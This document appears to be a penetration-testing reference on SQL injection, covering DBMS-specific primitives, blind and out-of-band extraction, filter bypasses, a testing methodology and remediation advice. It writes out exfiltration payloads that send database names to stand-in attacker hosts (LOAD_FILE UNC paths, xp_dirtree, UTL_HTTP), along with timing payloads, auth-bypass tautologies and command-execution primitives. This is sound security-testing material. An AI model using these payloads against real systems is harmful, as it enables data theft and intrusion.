SQL Injection

SQLi remains one of the most durable and impactful vulnerability classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.

Attack Surface

Databases

• Classic relational: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
• Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins

Integration Paths

• ORMs, query builders, stored procedures
• Search servers, reporting/exporters

Input Locations

• Path/query/body/header/cookie
• Mixed encodings (URL, JSON, XML, multipart)
• Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
• Query builders: whereRaw/orderByRaw, string templates in ORMs
• JSON coercion or array containment operators
• Batch/bulk endpoints and report generators that embed filters directly

Detection Channels

Error-Based

• Provoke type/constraint/parser errors revealing stack/version/paths

Boolean-Based

• Pair requests differing only in predicate truth
• Diff status/body/length/ETag

Time-Based

• SLEEP/pg_sleep/WAITFOR
• Use subselect gating to avoid global latency noise

Out-of-Band (OAST)

• DNS/HTTP callbacks via DB-specific primitives

DBMS Primitives

MySQL

• Version/user/db: @@version, database(), user(), current_user()
• Error-based: extractvalue()/updatexml() (older), JSON functions for error shaping
• File IO: LOAD_FILE(), SELECT ... INTO DUMPFILE/OUTFILE (requires FILE privilege, secure_file_priv)
• OOB/DNS: LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))
• Time: SLEEP(n), BENCHMARK
• JSON: JSON_EXTRACT/JSON_SEARCH with crafted paths; GIS funcs sometimes leak

PostgreSQL

• Version/user/db: version(), current_user, current_database()
• Error-based: raise exception via unsupported casts or division by zero; xpath() errors in xml2
• OOB: COPY (program ...) or dblink/foreign data wrappers (when enabled); http extensions
• Time: pg_sleep(n)
• Files: COPY table TO/FROM '/path' (requires superuser), lo_import/lo_export
• JSON/JSONB: operators ->, ->>, @>, ?| with lateral/CTE for blind extraction

MSSQL

• Version/db/user: @@version, db_name(), system_user, user_name()
• OOB/DNS: xp_dirtree, xp_fileexist; HTTP via OLE automation (sp_OACreate) if enabled
• Exec: xp_cmdshell (often disabled), OPENROWSET/OPENDATASOURCE
• Time: WAITFOR DELAY '0:0:5'; heavy functions cause measurable delays
• Error-based: convert/parse, divide by zero, FOR XML PATH leaks

Oracle

• Version/db/user: banner from v$version, ora_database_name, user
• OOB: UTL_HTTP/DBMS_LDAP/UTL_INADDR/HTTPURITYPE (permissions dependent)
• Time: dbms_lock.sleep(n)
• Error-based: to_number/to_date conversions, XMLType
• File: UTL_FILE with directory objects (privileged)

Key Vulnerabilities

UNION-Based Extraction

• Determine column count and types via ORDER BY n and UNION SELECT null,...
• Align types with CAST/CONVERT; coerce to text/json for rendering
• When UNION is filtered, switch to error-based or blind channels

Blind Extraction

• Branch on single-bit predicates using SUBSTRING/ASCII, LEFT/RIGHT, or JSON/array operators
• Binary search on character space for fewer requests
• Encode outputs (hex/base64) to normalize
• Gate delays inside subqueries to reduce noise: AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)

Out-of-Band

• Prefer OAST to minimize noise and bypass strict response paths
• Embed data in DNS labels or HTTP query params
• MSSQL: xp_dirtree \\\\<data>.attacker.tld\\a
• Oracle: UTL_HTTP.REQUEST('http://<data>.attacker')
• MySQL: LOAD_FILE with UNC path

Write Primitives

• Auth bypass: inject OR-based tautologies or subselects into login checks
• Privilege changes: update role/plan/feature flags when UPDATE is injectable
• File write: INTO OUTFILE/DUMPFILE, COPY TO, xp_cmdshell redirection
• Job/proc abuse: schedule tasks or create procedures/functions when permissions allow

ORM and Query Builders

• Dangerous APIs: whereRaw/orderByRaw, string interpolation into LIKE/IN/ORDER clauses
• Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
• JSON containment operators exposed by ORMs (e.g., @> in PostgreSQL) with raw fragments
• Parameter mismatch: partial parameterization where operators or lists remain unbound (IN (...))

Uncommon Contexts

• ORDER BY/GROUP BY/HAVING with CASE WHEN for boolean channels
• LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
• Full-text/search helpers: MATCH AGAINST, to_tsvector/to_tsquery with payload mixing
• XML/JSON functions: error generation via malformed documents/paths

Bypass Techniques

Whitespace/Spacing

• /**/, /**/!00000, comments, newlines, tabs
• 0xe3 0x80 0x80 (ideographic space)

Keyword Splitting

• UN/**/ION, U%4eION, backticks/quotes, case folding

Numeric Tricks

• Scientific notation, signed/unsigned, hex (0x61646d696e)

Encodings

• Double URL encoding, mixed Unicode normalizations (NFKC/NFD)
• char()/CONCAT_ws to build tokens

Clause Relocation

• Subselects, derived tables, CTEs (WITH), lateral joins to hide payload shape

Testing Methodology

1. Identify query shape - SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET
2. Determine input influence - User input in identifiers vs values
3. Confirm injection class - Reflective errors, boolean diffs, timing, or out-of-band callbacks
4. Choose quietest oracle - Prefer error-based or boolean over noisy time-based
5. Establish extraction channel - UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS
6. Pivot to metadata - version, current user, database name
7. Target high-value tables - auth bypass, role changes, filesystem access if feasible

Validation

1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates
2. Extract verifiable metadata (version, current user, database name) using the established channel
3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope
4. Provide reproducible requests that differ only in the injected fragment
5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant)

False Positives

• Generic errors unrelated to SQL parsing or constraints
• Static response sizes due to templating rather than predicate truth
• Artificial delays from network/CPU unrelated to injected function calls
• Parameterized queries with no string concatenation, verified by code review

Impact

• Direct data exfiltration and privacy/regulatory exposure
• Authentication and authorization bypass via manipulated predicates
• Server-side file access or command execution (platform/privilege dependent)
• Persistent supply-chain impact via modified data, jobs, or procedures

Pro Tips

1. Pick the quietest reliable oracle first; avoid noisy long sleeps
2. Normalize responses (length/ETag/digest) to reduce variance when diffing
3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise
4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available
5. Treat ORMs as thin wrappers: raw fragments often slip through; audit whereRaw/orderByRaw
6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly
7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels
8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types
9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly
10. Document exact query shapes; defenses must match how the query is constructed, not assumptions

Summary

Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.